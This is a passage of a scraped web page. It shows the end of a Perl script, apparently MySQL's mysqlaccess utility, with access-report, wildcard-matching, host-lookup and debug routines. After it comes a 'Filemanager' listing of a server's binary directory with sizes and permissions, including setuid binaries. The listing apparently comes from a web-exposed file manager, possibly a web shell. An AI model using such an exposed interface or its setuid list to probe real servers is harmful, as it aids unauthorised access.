      $message =~ s/\$host/$host/g;
      $message =~ s/\$password/$password/g;
      $PREFIX='NOTE';
      if ($MySQLaccess::CMD) {
      my @lines = split(/\n/,$message);
      foreach $line (@lines) { 
        print "$PREFIX:\t $line\n"; 
        $PREFIX='    ';
      }
      }
      if ($MySQLaccess::CGI) {
      print "<b>$PREFIX:</b> $message<br>\n";
      }
    } 

    # ---------------
    # print warnings:
    foreach $warning (@MySQLaccess::Grant::Warnings) {
      my $message = $MESSAGES{$warning};
      $message =~ s/\$user/$user/g;
      $message =~ s/\$db/$db/g;
      $message =~ s/\$host/$host/g;
      $message =~ s/\$password/$password/g;
      $PREFIX='BEWARE';
      if ($MySQLaccess::CMD) {
      my @lines = split(/\n/,$message);
      foreach $line (@lines) { 
        print "$PREFIX:\t $line\n"; 
        $PREFIX='      ';
      }
      }
      if ($MySQLaccess::CGI) {
      print "<b>$PREFIX:</b> $message<br>\n";
      }
    }

    # ---------------
    # print errors:
    foreach $error (@MySQLaccess::Grant::Errors) {
      my $message = $MESSAGES{$error};
      $message =~ s/\$user/$user/g;
      $message =~ s/\$db/$db/g;
      $message =~ s/\$host/$host/g;
      $message =~ s/\$password/$password/g;
      $PREFIX='ERROR';
      if ($MySQLaccess::CMD) {
      my @lines = split(/\n/,$message);
      foreach $line (@lines) { 
        print "$PREFIX:\t $line\n"; 
        $PREFIX='    ';
      }
      }
      if ($MySQLaccess::CGI) {
      print "<b>$PREFIX:</b> $message<br>\n";
      }
    }

    # ---------------
    # inform if there are no rules ==> full access for everyone.
    if ($MySQLaccess::Grant::full_access) { print "$MESSAGES{'full_access'}\n"; }

    # ---------------
    # print the rules used
    print "\n";
    if ($MySQLaccess::CMD) {
    print "The following rules are used:\n";
    foreach $field (sort(keys(%MySQLaccess::Grant::Rules))) {
      my $rule = (defined($MESSAGES{$MySQLaccess::Grant::Rules{$field}}) ? $MESSAGES{$MySQLaccess::Grant::Rules{$field}} : $MySQLaccess::Grant::Rules{$field});
      $rule =~ s/\t/','/g;
      printf " %-5s : '%s'\n",$field,$rule;
    }
    }
    if ($MySQLaccess::CGI) {
    print "<br>\n";
    print "<table border width=100%>\n";
    print "<tr><th colspan=2>The following rules are used:</th></tr>\n";
    foreach $field (sort(keys(%MySQLaccess::Grant::Rules))) {
      my $rule = (defined($MESSAGES{$MySQLaccess::Grant::Rules{$field}}) ? $MESSAGES{$MySQLaccess::Grant::Rules{$field}} : $MySQLaccess::Grant::Rules{$field});
      $rule =~ s/\t/','/g;
      printf "<tr><th>%-5s</th><td>'%s'</td></tr>\n",$field,$rule;
    }
    print "</table>\n";
    }
 
    return 1;
}

# ======================================
# sub Matrix_Report:
#  single-line output foreach triple,
#  no notes,warnings,...
# ======================================
sub Matrix_Report {
    my ($host,$user,$db,$a) = @_;
    my @headers = ();
    
    if (! $headers) {
       # -----------------------------
       # create column-headers
       foreach $field (@MySQLaccess::Grant::Privileges) {
         push(@headers,substr($field,0,4));
       }
    
       # -----------------------------
       # print column-headers
       print "\n";
       if ($MySQLaccess::CMD) {
         my $line1="";
         my $line2="";
         foreach $header (@headers) {
           $line1 .= sprintf("%-4s ",$header);
           $line2 .= sprintf("%s ",'----');
         }
         $line1 .= sprintf("| %-20s",'Host,User,DB');
         $line2 .= sprintf("+ %-20s",'-' x 20);
         print "$line1\n";
         print "$line2\n";
       }
       if ($MySQLaccess::CGI) {
         print "<table width=100% border>\n";
         my $line1="<tr>";
         foreach $header (@headers) {
           $line1 .= sprintf("<th>%-4s</th>",$header);
         }
         $line1 .= sprintf("<th>%-20s</th>",'Host, User, DB');
         print "$line1</tr>\n";
       }

       # ----------------------------
       # column-headers should only be 
       # printed once.
       $MySQLaccess::Report::headers=1;
    }

    # ------------------------
    # print access-information
    if ($MySQLaccess::CMD) {
      foreach $field (@MySQLaccess::Grant::Privileges) {
  	  printf " %-2s  ",$Answer{$a->{$field}}; 
      }
      printf "| %-20s",join(',',$host,$user,$db);
      print "\n";
    }
    if ($MySQLaccess::CGI) {
      print "<tr>";
      foreach $field (@MySQLaccess::Grant::Privileges) {
  	  printf "<td align=center>%-2s</td>",$Answer{$a->{$field}}; 
      }
      printf "<td><b>%-20s</b></td>",join(', ',$host,$user,$db);
      print "</tr>\n";
    }

    return 1;
}


# ======================================
# sub Raw_Report:
#  single-line output foreach triple,
#  no notes,warnings,...
# ======================================
sub Raw_Report {
    my ($host,$user,$db,$a) = @_;
    my @headers = ();
    my $string = "";
    
    # ------------------------
    # print access-information
    $string = "$host,$user,$db,";
    foreach $field (@MySQLaccess::Grant::Privileges) {
	  $string .= $Answer{$a->{$field}} . ","; 
    }
    return $string;
}


#######################################################################
package MySQLaccess::Wildcards;
BEGIN {
    $DEBUG     = 0;
    $DEBUG     = $MySQLaccess::DEBUG unless ($DEBUG);
}
# ############################################
# SQL, WILDCARDS and REGULAR EXPRESSIONS 
# ============================================
# translage SQL-expressions to Reg-expressions
# ============================================
sub SQL2Reg {
    my ($expr) = @_;
    my $expr_o = $expr;
    $expr  =~ s/\./\\./g;
    $expr  =~ s/\\%/\002/g;
    $expr  =~ s/%/.*/g;
    $expr  =~ s/\002/%/g;
    $expr  =~ s/\\_/\002/g;
    $expr  =~ s/_/.+/g;
    $expr  =~ s/\002/_/g;
    MySQLaccess::Debug::Print(2,"$expr_o --> $expr");
    return $expr;
}

# translage WILDcards to Reg-expressions
# ============================================
sub Wild2Reg {
    my ($expr) = @_;
    my $expr_o = $expr;
    $expr  =~ s/\./\\./g;
    $expr  =~ s/\\\*/\002/g;
    $expr  =~ s/\*/.*/g;
    $expr  =~ s/\002/*/g;
    $expr  =~ s/\\\?/\002/g;
    $expr  =~ s/\?/.+/g;
    $expr  =~ s/\002/?/g;
    MySQLaccess::Debug::Print(2,"$expr_o --> $expr");
    return $expr;
}

# =============================================
# match a given string with a template
# =============================================
sub MatchTemplate {
    my ($tpl,$string) = @_;
    my $match=0;
    if ($string=~ /^$tpl$/ or $tpl eq '') { $match=1; }
    else                                  { $match=0;}
    MySQLaccess::Debug::Print(2,"($tpl,$string) --> $match");
    return $match;
}

#######################################################################
package MySQLaccess::Host;
BEGIN {
    $localhost = undef;
    $DEBUG     = 2;
    $DEBUG     = $MySQLaccess::DEBUG unless ($DEBUG);
}
# ======================================
# sub IP2Name
#  return the Name with the corr. IP-nmbr
#  (no aliases yet!!)
# ======================================
sub IP2Name {
    my ($ip) = @_;
    my $ip_o = $ip;
    if ($ip !~ /([0-9]+)\.([0-9]+)\.([0-9]+)\.([0-9]+)/o) {
       MySQLaccess::Debug::Print(3,"'$ip' is not an ip-number, returning IP=$ip");
       return $ip;
    }
    MySQLaccess::Debug::Print(4,"IP=$ip split up => $1.$2.$3.$4");
    $ip = pack "C4",$1,$2,$3,$4;
    MySQLaccess::Debug::Print(4,"IP packed -> >>$ip<<\n");
    my ($name,$aliases,$addrtype,$length,@addrs) = gethostbyaddr($ip, AF_INET);
    MySQLaccess::Debug::Print(3,"IP=$ip_o => hostname=$name");
    MySQLaccess::Debug::Print(4,"aliases=$aliases");
    MySQLaccess::Debug::Print(4,"addrtype=$addrtype - length=$length");
    return ($name || $ip);
    #return ($name || undef);
}

# ======================================
# sub Name2IP
#  return the IP-number of the host
# ======================================
sub Name2IP {
    my ($name) = @_;
    if ($name =~ /[%_]/) { 
       MySQLaccess::Debug::Print(3,"'$name' contains SQL-wildcards, returning name=$name");
       return $name; 
    }
    my ($_name,$aliases,$addrtype,$length,@addrs) = gethostbyname($name);
    my ($a,$b,$c,$d) = unpack('C4',$addrs[0]);
    my $ip = "$a.$b.$c.$d";
    MySQLaccess::Debug::Print(3,"hostname=$name => IP=$ip");
    MySQLaccess::Debug::Print(4,"aliases=$aliases");
    MySQLaccess::Debug::Print(4,"addrtype=$addrtype - length=$length");
    #if ($ip ne "") { return "$ip"; }
    #else           { return undef; }
    return ($ip || $name);
}

# ========================================
# sub LocalHost
#  some special action has to be taken for
#  the localhost
# ========================================
sub LocalHost {
    if (!defined($MySQLaccess::Host::localhost)) {
       $MySQLaccess::Host::localhost = Sys::Hostname::hostname();
       MySQLaccess::Debug::Print(3,"Setting package variable \$localhost=$MySQLaccess::Host::localhost");
    }
    my $host = $localhost;
    MySQLaccess::Debug::Print(3,"localhost = $host");
    return $host;
}

# ========================================
# check if the given hostname (or ip)
# corresponds with the localhost
# ========================================
sub Is_localhost {
    my ($host_tpl) = @_;
    my $isit = 0;
    if (($MySQLaccess::host_name eq $localhost) or ($MySQLaccess::host_ip eq $local_ip)) {
	MySQLaccess::Debug::Print(2,"Checking for localhost");
      MySQLaccess::Debug::Print(3,"because ($MySQLaccess::host_name EQ $localhost) AND ($MySQLaccess::host_ip EQ $local_ip)");
      $isit = ( 'localhost' =~ /$host_tpl/ ) ? 1 : 0;
      MySQLaccess::Debug::Print(3," 'localhost' =?= $host_tpl  -> $isit");
      return $isit;
    }
    else {
      MySQLaccess::Debug::Print(4,"Not checking for localhost");
      MySQLaccess::Debug::Print(4,"because ($MySQLaccess::host_name != $localhost) AND ($MySQLaccess::host_ip != $local_ip)");
      return 0;
    }
}


# =========================================
# check if host (IP or name) can be matched
# on the template.
# =========================================
sub MatchTemplate {
    my ($host,$tpl) = @_;
    my $match = 0;
   
    MySQLaccess::Debug::Print(1, "($host) =?= ($tpl)");

    my $host_name = IP2Name($host);
    my $host_ip   = Name2IP($host);

    MySQLaccess::Debug::Print(2, "name=$host_name ; ip=$host_ip");
    $match = (MySQLaccess::Wildcards::MatchTemplate($tpl,$host_name) or
             MySQLaccess::Wildcards::MatchTemplate($tpl,$host_ip));

    MySQLaccess::Debug::Print(2, "($host_name,$host_ip) =?= ($tpl): $ncount");

    return $match;
}

########################################################################
package MySQLaccess::Debug;
BEGIN {
   my $dbg_file = "$MySQLaccess::script_log";
   open(DEBUG,"> $dbg_file") or warn "Could not open outputfile $dbg_file for debugging-info\n";
   select DEBUG;
   $| = 1;
   select STDOUT;
}
# =========================================
# Print debugging information on STDERR
# =========================================
sub Print {
    my ($level,$mesg) = @_;
    my ($pack,$file,$line,$subname,$hasargs,$wantarray) = caller(1);
    my ($PACK)  = split('::',$subname); 
    my $DEBUG = ${$PACK."::DEBUG"} ? ${$PACK."::DEBUG"} : $MySQLaccess::DEBUG ;
    my ($sec,$min,$hour) = localtime();
    print DEBUG "[$hour:$min:$sec $subname] $mesg\n" if ($DEBUG>=$level);
}


Filemanager

Name Type Size Permission Actions
411toppm File 10.32 KB 0755
ChangeSymlinks File 1.39 KB 0755
Mail File 352.48 KB 0755
SUSEConnect File 637 B 0755
Signature_conversion File 1.98 KB 0755
VGAuthService File 128.42 KB 0755
[ File 50.81 KB 0755
a2p File 103.91 KB 0755
aclocal File 35.87 KB 0755
aclocal-1.13 File 35.87 KB 0755
addftinfo File 22.51 KB 0755
addr2line File 31.31 KB 0755
affixcompress File 5.07 KB 0755
afmtodit File 161.98 KB 0755
agentxtrap File 18.67 KB 0755
amuFormat.sh File 2.61 KB 0755
analyze File 10.42 KB 0755
animate File 6.23 KB 0755
annotate File 10.31 KB 0755
anytopnm File 11.16 KB 0755
appdata2solv File 265.02 KB 0755
applydeltaiso File 94.66 KB 0755
applydeltarpm File 126.88 KB 0755
apropos File 51.98 KB 0755
ar File 59.19 KB 0755
arch File 30.84 KB 0755
aria_chk File 4.39 MB 0755
aria_dump_log File 4.19 MB 0755
aria_ftdump File 4.2 MB 0755
aria_pack File 4.23 MB 0755
aria_read_log File 4.35 MB 0755
arpaname File 10.24 KB 0755
as File 749.09 KB 0755
asciitopgm File 10.31 KB 0755
asn1Coding File 14.41 KB 0755
asn1Decoding File 18.46 KB 0755
asn1Parser File 14.34 KB 0755
at File 51.11 KB 4755
atktopbm File 10.3 KB 0755
atq File 51.11 KB 4755
atrm File 51.11 KB 4755
attr File 10.28 KB 0755
audiocompose File 2.36 KB 0755
audiosend File 3.52 KB 0755
audit2allow File 14.21 KB 0755
audit2why File 14.21 KB 0755
augmatch File 18.57 KB 0755
augparse File 10.3 KB 0755
augtool File 22.67 KB 0755
aulast File 18.09 KB 0755
aulastlog File 10.09 KB 0755
ausyscall File 10.09 KB 0755
autoconf File 14.42 KB 0755
autoexpect File 7.53 KB 0755
autoheader File 8.33 KB 0755
autom4te File 31.43 KB 0755
automake File 246.52 KB 0755
automake-1.13 File 246.52 KB 0755
autoreconf File 20.79 KB 0755
autoscan File 16.72 KB 0755
autoupdate File 33.08 KB 0755
auvirt File 34.09 KB 0755
avstopam File 6.27 KB 0755
awk File 500 KB 0755
base32 File 34.85 KB 0755
base64 File 34.85 KB 0755
basename File 30.79 KB 0755
bashbug File 7.14 KB 0555
batch File 137 B 0755
bc File 79.17 KB 0755
bdftogd File 3.91 KB 0755
bioradtopgm File 10.3 KB 0755
blkiomon File 23.49 KB 0755
blkrawverify File 14.38 KB 0755
bmptopnm File 18.4 KB 0755
bmptoppm File 18.4 KB 0755
bno_plot.py File 3.38 KB 0755
bootctl File 90.28 KB 0755
broadwayd File 115.3 KB 0755
brushtopbm File 10.29 KB 0755
btrecord File 15.38 KB 0755
btreplay File 23.97 KB 0755
btrfs-map-logical File 316.2 KB 0755
btt File 73.02 KB 0755
bunzip2 File 30.65 KB 0755
busctl File 403.05 KB 0755
bzcat File 30.65 KB 0755
bzcmp File 2.08 KB 0755
bzdiff File 2.08 KB 0755
bzegrep File 2.01 KB 0755
bzfgrep File 2.01 KB 0755
bzgrep File 2.01 KB 0755
bzip2 File 30.65 KB 0755
bzip2recover File 14.35 KB 0755
bzless File 1.23 KB 0755
bzmore File 1.23 KB 0755
bznew File 4.55 KB 0755
c++filt File 26.76 KB 0755
c2ph File 35.79 KB 0755
c_rehash File 5.12 KB 0755
cal File 54.47 KB 0755
cameratopam File 94.66 KB 0755
cancel File 14.09 KB 0555
cardos-tool File 26.66 KB 0755
cat File 51 KB 0755
catman File 35.36 KB 0755
cdda2mp3 File 2.23 KB 0755
cdda2mp3.new File 1.65 KB 0755
cdda2ogg File 2.23 KB 0755
cdda2wav File 313.01 KB 0755
cdinfo File 14.34 KB 0755
cdrecord File 440.8 KB 0755
chacl File 14.43 KB 0755
chage File 61.95 KB 2755
chattr File 10.41 KB 0755
chcat File 13.09 KB 0755
chcon File 63.03 KB 0755
checkmedia File 54.34 KB 0755
checkmodule File 384.28 KB 0755
checkpolicy File 392.28 KB 0755
chem File 28.7 KB 0755
chfn File 53.94 KB 4755
chgrp File 58.94 KB 0755
chkconfig File 20.13 KB 0755
chkstat File 26.73 KB 0755
chmem File 54.09 KB 0755
chmod File 54.91 KB 0755
chmorph File 14.56 KB 0755
choom File 42.09 KB 0755
chown File 62.97 KB 0755
chroot File 34.91 KB 0755
chrp-addnote File 10.33 KB 0755
chrt File 30.09 KB 0755
chsh File 40.5 KB 4755
chvt File 10.32 KB 0755
cifscreds File 18.44 KB 0755
cifsdd File 84.34 KB 0755
cistopbm File 10.27 KB 0755
cksum File 30.78 KB 0755
clear File 6.23 KB 0755
clrunimap File 10.31 KB 0755
cmp File 42.65 KB 0755
cmuwmtopbm File 6.28 KB 0755
cnf File 3.25 KB 0755
col File 26.09 KB 0755
colcrt File 14.09 KB 0755
colrm File 22.09 KB 0755
column File 46.1 KB 0755
combinedeltarpm File 110.66 KB 0755
comm File 34.84 KB 0755
command-not-found File 3.25 KB 0755
compare File 6.26 KB 0755
composite File 6.23 KB 0755
compress_susetags File 1.15 KB 0755
comps2solv File 260.96 KB 0755
config_data File 7.06 KB 0755
conjure File 6.23 KB 0755
containerd File 37.36 MB 0755
containerd-shim-runc-v2 File 11.8 MB 0755
convert File 6.23 KB 0755
convertdb1 File 14.58 KB 0755
convmv File 30.69 KB 0755
coredumpctl File 154.43 KB 0755
corelist File 12.49 KB 0755
cp File 147.59 KB 0755
cpan File 5.76 KB 0755
cpan2dist File 21.31 KB 0755
cpanp File 3.32 KB 0755
cpanp-run-perl File 545 B 0755
cpio File 138.31 KB 0755
cpp File 742.01 KB 0755
cpp-4.8 File 742.01 KB 0755
cpupower File 70.8 KB 0755
crash File 7.09 MB 0755
create_directory.yast File 1.74 KB 0755
create_md5sums File 3.47 KB 0755
create_package_descr File 22.73 KB 0755
create_repo_for_patch.sh File 7.63 KB 0755
create_sha1sum File 3.53 KB 0755
create_sha1sums File 4.85 KB 0755
create_update_source.sh File 5.22 KB 0755
createpatch File 43.35 KB 0755
crontab File 62.86 KB 4755
cryptdir File 1.33 KB 0755
cryptoflex-tool File 31.02 KB 0755
csh File 378.18 KB 0755
csplit File 46.98 KB 0755
ctr File 18.26 MB 0755
cups-config File 2.93 KB 0555
cupstestdsc File 14.1 KB 0555
curl File 219.13 KB 0755
cut File 42.94 KB 0755
cvtsudoers File 259.49 KB 0755
cyrus_sasl_sample_client File 14.69 KB 0755
cyrus_sasl_sample_server File 18.64 KB 0755
date File 66.97 KB 0755
db48_archive File 10.31 KB 0555
db48_checkpoint File 10.38 KB 0555
db48_deadlock File 10.39 KB 0555
db48_dump File 14.35 KB 0555
db48_hotbackup File 18.48 KB 0555
db48_load File 26.44 KB 0555
db48_printlog File 66.95 KB 0555
db48_recover File 10.38 KB 0555
db48_sql File 119.05 KB 0555
db48_stat File 14.32 KB 0555
db48_upgrade File 10.33 KB 0555
db48_verify File 10.32 KB 0555
db_archive File 10.31 KB 0555
db_checkpoint File 10.38 KB 0555
db_deadlock File 10.39 KB 0555
db_dump File 14.35 KB 0555
db_hotbackup File 18.48 KB 0555
db_load File 26.44 KB 0555
db_printlog File 66.95 KB 0555
db_recover File 10.38 KB 0555
db_sql File 119.05 KB 0555
db_stat File 14.32 KB 0555
db_upgrade File 10.33 KB 0555
db_verify File 10.32 KB 0555
dbus-launch File 26.73 KB 0755
dbus-launch.x11 File 26.73 KB 0755
dbus-run-session File 14.36 KB 0755
dbus-send File 22.63 KB 0755
dbwrap_tool File 18.32 KB 0755
dc File 42.46 KB 0755
dconf File 47.23 KB 0755
dd File 71.04 KB 0755
ddbugtopbm File 10.35 KB 0755
deallocvt File 10.33 KB 0755
decryptdir File 1.33 KB 0755
deltainfoxml2solv File 260.78 KB 0755
delv File 41 KB 0755
devdump File 156.03 KB 0755
df File 95.77 KB 0755
diff File 187.07 KB 0755
diff3 File 58.82 KB 0755
dig File 120.48 KB 0755
dir File 119.73 KB 0755
dircolors File 38.83 KB 0755
dirmngr File 222.26 KB 0755
dirmngr-client File 51.33 KB 0755
dirname File 30.79 KB 0755
dirsplit File 16.73 KB 0755
disable-paste File 6.18 KB 0755
dislocate File 7.75 KB 0755
display File 6.23 KB 0755
display-buttons File 10.22 KB 0755
display-coords File 10.22 KB 0755
dltest File 10.27 KB 0755
dm_date File 5.47 KB 0555
dm_zdump File 4.95 KB 0555
dmesg File 70.41 KB 0755
docker File 33.15 MB 0755
docker-init File 743.86 KB 0755
docker-proxy File 1.87 MB 0755
dockerd File 60.4 MB 0755
dos2unix File 38.49 KB 0755
dracut File 63.22 KB 0755
drpmsync File 114.76 KB 0755
du File 115.25 KB 0755
dumpkeys File 98.55 KB 0755
dumpsolv File 240.46 KB 0755
dvdrecord File 440.8 KB 0755
dvipdf File 1007 B 0755
dwp File 2.75 MB 0755
echo File 30.75 KB 0755
ed File 46.7 KB 0755
edit File 2.25 MB 0755
egrep File 143.38 KB 0755
eidenv File 22.59 KB 0755
eject File 66.17 KB 0755
elfedit File 34.98 KB 0755
embedspu File 8.39 KB 0755
enc2xs File 38.3 KB 0755
encode_keychange File 18.51 KB 0755
env File 30.78 KB 0755
envsubst File 34.62 KB 0755
eps2eps File 639 B 0755
epsffit File 14.25 KB 0755
eqn File 137.73 KB 0755
eqn2graph File 2.63 KB 0755
erb File 4.3 KB 0755
erb.ruby2.1 File 4.3 KB 0755
escp2topbm File 10.3 KB 0755
eu-addr2line File 18.7 KB 0755
eu-ar File 34.86 KB 0755
eu-elfcmp File 30.72 KB 0755
eu-elflint File 102.91 KB 0755
eu-findtextrel File 18.65 KB 0755
eu-ld File 175.41 KB 0755
eu-make-debug-archive File 3.16 KB 0755
eu-nm File 43.26 KB 0755
eu-objdump File 30.95 KB 0755
eu-ranlib File 18.62 KB 0755
eu-readelf File 163.66 KB 0755
eu-size File 18.55 KB 0755
eu-stack File 22.62 KB 0755
eu-strings File 18.65 KB 0755
eu-strip File 51.03 KB 0755
eu-unstrip File 42.86 KB 0755
ex File 2.25 MB 0755
expand File 34.88 KB 0755
expect File 10.25 KB 0755
expiry File 18.88 KB 4755
exportCRL.pl File 4.33 KB 0755
expr File 38.88 KB 0755
extcompose File 3.91 KB 0755
extlinux File 54.1 KB 0755
extractres File 2.68 KB 0755
eyuvtoppm File 10.3 KB 0755
factor File 79.1 KB 0755
fadot File 14.44 KB 0755
fallocate File 26.1 KB 0755
false File 26.75 KB 0755
fastjar File 42.7 KB 0755
fc-cache File 14.52 KB 0755
fc-cat File 14.46 KB 0755
fc-list File 10.35 KB 0755
fc-match File 10.41 KB 0755
fc-pattern File 10.36 KB 0755
fc-query File 10.3 KB 0755
fc-scan File 10.36 KB 0755
fc-validate File 10.38 KB 0755
fdupes File 27.27 KB 0755
fgconsole File 10.33 KB 0755
fgrep File 143.38 KB 0755
fiascotopnm File 83.48 KB 0755
file File 22.72 KB 0755
filesize File 68 B 0755
fillup File 38.47 KB 0755
fincore File 26.27 KB 0755
find File 188.7 KB 0755
find2perl File 23.05 KB 0755
findmnt File 63.29 KB 0755
findsmb File 4.5 KB 0755
finger File 26.71 KB 0755
fips_standalone_hmac File 130.41 KB 0755
fips_standalone_hmac-1_1 File 10.16 KB 0755
fitstopnm File 14.34 KB 0755
fixdlsrps File 1.53 KB 0755
fixfmps File 599 B 0755
fixmacps File 2.1 KB 0755
fixproc File 15.16 KB 0755
fixpsditps File 694 B 0755
fixpspps File 1.27 KB 0755
fixscribeps File 479 B 0755
fixtpps File 699 B 0755
fixwfwps File 857 B 0755
fixwpps File 732 B 0755
fixwwps File 427 B 0755
flock File 26.17 KB 0755
fmt File 38.81 KB 0755
fold File 34.84 KB 0755
formail File 42.82 KB 0755
fragiso File 106.72 KB 0755
free File 14.38 KB 0755
fstopgm File 10.3 KB 0755
ftp-rfc File 683 B 0755
fuk File 14.8 KB 0755
funzip File 22.38 KB 0755
funzip-plain File 22.38 KB 0755
fusermount File 30.84 KB 4755
galera_new_cluster File 888 B 0755
galera_recovery File 3.33 KB 0755
gapplication File 18.59 KB 0755
garb-systemd File 1.06 KB 0755
garbd File 20.98 MB 0755
gawk File 500 KB 0755
gcore File 3.39 KB 0755
gcr-viewer File 10.45 KB 0755
gd2copypal File 6.27 KB 0755
gd2togif File 6.25 KB 0755
gd2topng File 10.27 KB 0755
gdb File 10.21 MB 0755
gdb-add-index File 3.28 KB 0755
gdbus File 35.02 KB 0755
gdcmpgif File 10.26 KB 0755
gdiffmk File 6.88 KB 0755
gdk-pixbuf-query-loaders-64 File 10.42 KB 0755
gdparttopng File 6.27 KB 0755
gdtopng File 6.25 KB 0755
gem File 550 B 0755
gem.ruby2.1 File 550 B 0755
gem2rpm File 505 B 0755
gem2rpm-0.10.1 File 505 B 0755
gem2rpm.ruby2.1 File 505 B 0755
gem2rpm.ruby2.1-0.10.1 File 505 B 0755
gemtopbm File 10.33 KB 0755
gemtopnm File 10.33 KB 0755
gen-s390-cd-kernel.pl File 4.7 KB 0755
genDDNSkey File 3.25 KB 0755
gencat File 22.66 KB 0755
gendiff File 586 B 0755
generateCRL.pl File 3.43 KB 0755
generate_microcode File 10.3 KB 0755
genisoimage File 603.13 KB 0755
geqn File 137.73 KB 0755
get-versions File 6.16 KB 0755
get_kernel_version File 10.11 KB 0755
getafm File 6 KB 0755
getcifsacl File 14.1 KB 0755
getconf File 22.47 KB 0755
getdelays File 14.36 KB 0555
geteltorito File 6.45 KB 0755
getent File 27.32 KB 0755
getfacl File 23.23 KB 0755
getfattr File 18.95 KB 0755
getfilename File 1.49 KB 0755
gethostip File 6.25 KB 0755
getkeycodes File 10.33 KB 0755
getopt File 14.09 KB 0755
gettext File 34.59 KB 0755
gettext.sh File 4.51 KB 0755
getunimap File 14.38 KB 0755
giftogd2 File 6.26 KB 0755
giftopnm File 26.46 KB 0755
gio-querymodules-64 File 10.41 KB 0755
glib-compile-schemas File 43.17 KB 0755
gmake File 198.64 KB 0755
gouldtoppm File 10.29 KB 0755
gpart File 42.48 KB 0755
gpasswd File 66.03 KB 4755
gpg File 752.86 KB 0755
gpg-agent File 290.39 KB 0755
gpg-connect-agent File 147.77 KB 0755
gpg-zip File 3.23 KB 0755
gpg2 File 752.86 KB 0755
gpgconf File 144.33 KB 0755
gpgkey2ssh File 38.7 KB 0755
gpgparsemail File 26.59 KB 0755
gpgsm File 405.33 KB 0755
gpgsm-gencert.sh File 4.53 KB 0755
gpgsplit File 47.02 KB 0755
gpgtar File 99.67 KB 0755
gpgv File 340.25 KB 0755
gpgv2 File 340.25 KB 0755
gpm-root File 31.46 KB 0755
gprof File 92.45 KB 0755
grap2graph File 2.39 KB 0755
grep File 147.41 KB 0755
grepjar File 86.66 KB 0755
gresource File 18.56 KB 0755
grn File 74.3 KB 0755
grodvi File 93.92 KB 0755
groff File 77.98 KB 0755
groffer File 60.06 KB 0755
grog File 9.62 KB 0755
grolbp File 102.98 KB 0755
grolj4 File 89.92 KB 0755
gropdf File 62.61 KB 0755
grops File 134.42 KB 0755
grotty File 93.95 KB 0755
groups File 30.85 KB 0755
grub2-editenv File 1.01 MB 0755
grub2-emu File 1 MB 0755
grub2-emu-lite File 120.23 KB 0755
grub2-file File 819.91 KB 0755
grub2-fstest File 1.02 MB 0755
grub2-glue-efi File 260.68 KB 0755
grub2-kbdcomp File 1.64 KB 0755
grub2-menulst2cfg File 240.58 KB 0755
grub2-mkfont File 289.36 KB 0755
grub2-mkimage File 390.8 KB 0755
grub2-mklayout File 262.74 KB 0755
grub2-mknetdir File 440.73 KB 0755
grub2-mkpasswd-pbkdf2 File 269.05 KB 0755
grub2-mkrelpath File 260.49 KB 0755
grub2-mkrescue File 1016.2 KB 0755
grub2-mkstandalone File 538.84 KB 0755
grub2-mount File 742.3 KB 0755
grub2-render-label File 824.48 KB 0755
grub2-script-check File 292.52 KB 0755
grub2-syslinux2cfg File 758.68 KB 0755
gs File 10.27 KB 0755
gsbj File 350 B 0755
gsdj File 352 B 0755
gsdj500 File 352 B 0755
gsettings File 22.77 KB 0755
gslj File 353 B 0755
gslp File 350 B 0755
gsnd File 277 B 0755
gstack File 1.04 KB 0755
gtbl File 106.72 KB 0755
gtk-builder-tool File 22.91 KB 0755
gtk-encode-symbolic-svg File 14.63 KB 0755
gtk-launch File 10.64 KB 0755
gtk-query-immodules-3.0-64 File 10.45 KB 0755
gtk-query-settings File 10.34 KB 0755
gtk-update-icon-cache File 31.44 KB 0755
gtk-update-icon-cache-3.0 File 31.44 KB 0755
gtk3-icon-browser File 71.09 KB 0755
guess_encoding File 7.92 KB 0755
gunzip File 2.29 KB 0755
gvfs-cat File 10.57 KB 0755
gvfs-copy File 14.84 KB 0755
gvfs-info File 14.84 KB 0755
gvfs-less File 884 B 0755
gvfs-ls File 15.05 KB 0755
gvfs-mime File 10.62 KB 0755
gvfs-mkdir File 10.52 KB 0755
gvfs-monitor-dir File 10.55 KB 0755
gvfs-monitor-file File 10.55 KB 0755
gvfs-mount File 31.11 KB 0755
gvfs-move File 10.79 KB 0755
gvfs-open File 10.66 KB 0755
gvfs-rename File 10.5 KB 0755
gvfs-rm File 10.54 KB 0755
gvfs-save File 10.85 KB 0755
gvfs-set-attribute File 10.64 KB 0755
gvfs-trash File 10.66 KB 0755
gvfs-tree File 14.71 KB 0755
gvimtutor File 143 B 0755
gxditview File 110.3 KB 0755
gzexe File 6.23 KB 0755
gzip File 79.92 KB 0755
h2ph File 27.51 KB 0755
h2xs File 59.31 KB 0755
hdifftopam File 10.32 KB 0755
head File 38.88 KB 0755
hexdump File 46.18 KB 0755
hipstopgm File 10.29 KB 0755
hltest File 14.55 KB 0755
host File 100.52 KB 0755
hostid File 26.79 KB 0755
hostnamectl File 323.05 KB 0755
hpftodit File 112.31 KB 0755
hunspell File 55.37 KB 0755
hunzip File 6.34 KB 0755
hzip File 14.31 KB 0755
i386 File 14.37 KB 0755
iasecc-tool File 18.62 KB 0755
icedax File 313.01 KB 0755
icontopbm File 10.31 KB 0755
iconv File 55.04 KB 0755
id File 38.94 KB 0755
identify File 6.24 KB 0755
idn File 31.31 KB 0755
ifnames File 4.03 KB 0755
igawk File 3.11 KB 0755
ilbmtoppm File 34.45 KB 0755
imgtoppm File 10.31 KB 0755
import File 6.23 KB 0755
includeres File 1.43 KB 0755
indxbib File 34.76 KB 0755
inf2cdtext.pl File 6.9 KB 0755
info File 181.99 KB 0755
infokey File 20.38 KB 0755
infotopam File 14.37 KB 0755
initviocons File 19.55 KB 0755
innochecksum File 3.46 MB 0755
install File 135.7 KB 0755
install-info File 39.63 KB 0755
installation_sources File 754 B 0755
installcheck File 566.46 KB 0755
instmodsh File 4.19 KB 0755
intel-speed-select File 47.23 KB 0755
ionice File 26.1 KB 0755
ipcmk File 26.16 KB 0755
ipcrm File 26.09 KB 0755
ipcs File 62.09 KB 0755
ipf-mod.pl File 6.52 KB 0755
ipg File 571 B 0755
ipmi_sim File 134.24 KB 0755
ipmi_ui File 10.5 KB 0755
ipmicmd File 18.48 KB 0755
ipmilan File 18.91 KB 0755
ipmish File 152.09 KB 0755
ipmitool File 819.36 KB 0755
ippfind File 38.18 KB 0555
ipptool File 74.18 KB 0555
iptables-xml File 85.81 KB 0755
irb File 194 B 0755
irb.ruby2.1 File 194 B 0755
isodebug File 152 KB 0755
isodump File 160.06 KB 0755
isohybrid File 22.07 KB 0755
isohybrid.pl File 13.83 KB 0755
isoinfo File 319.29 KB 0755
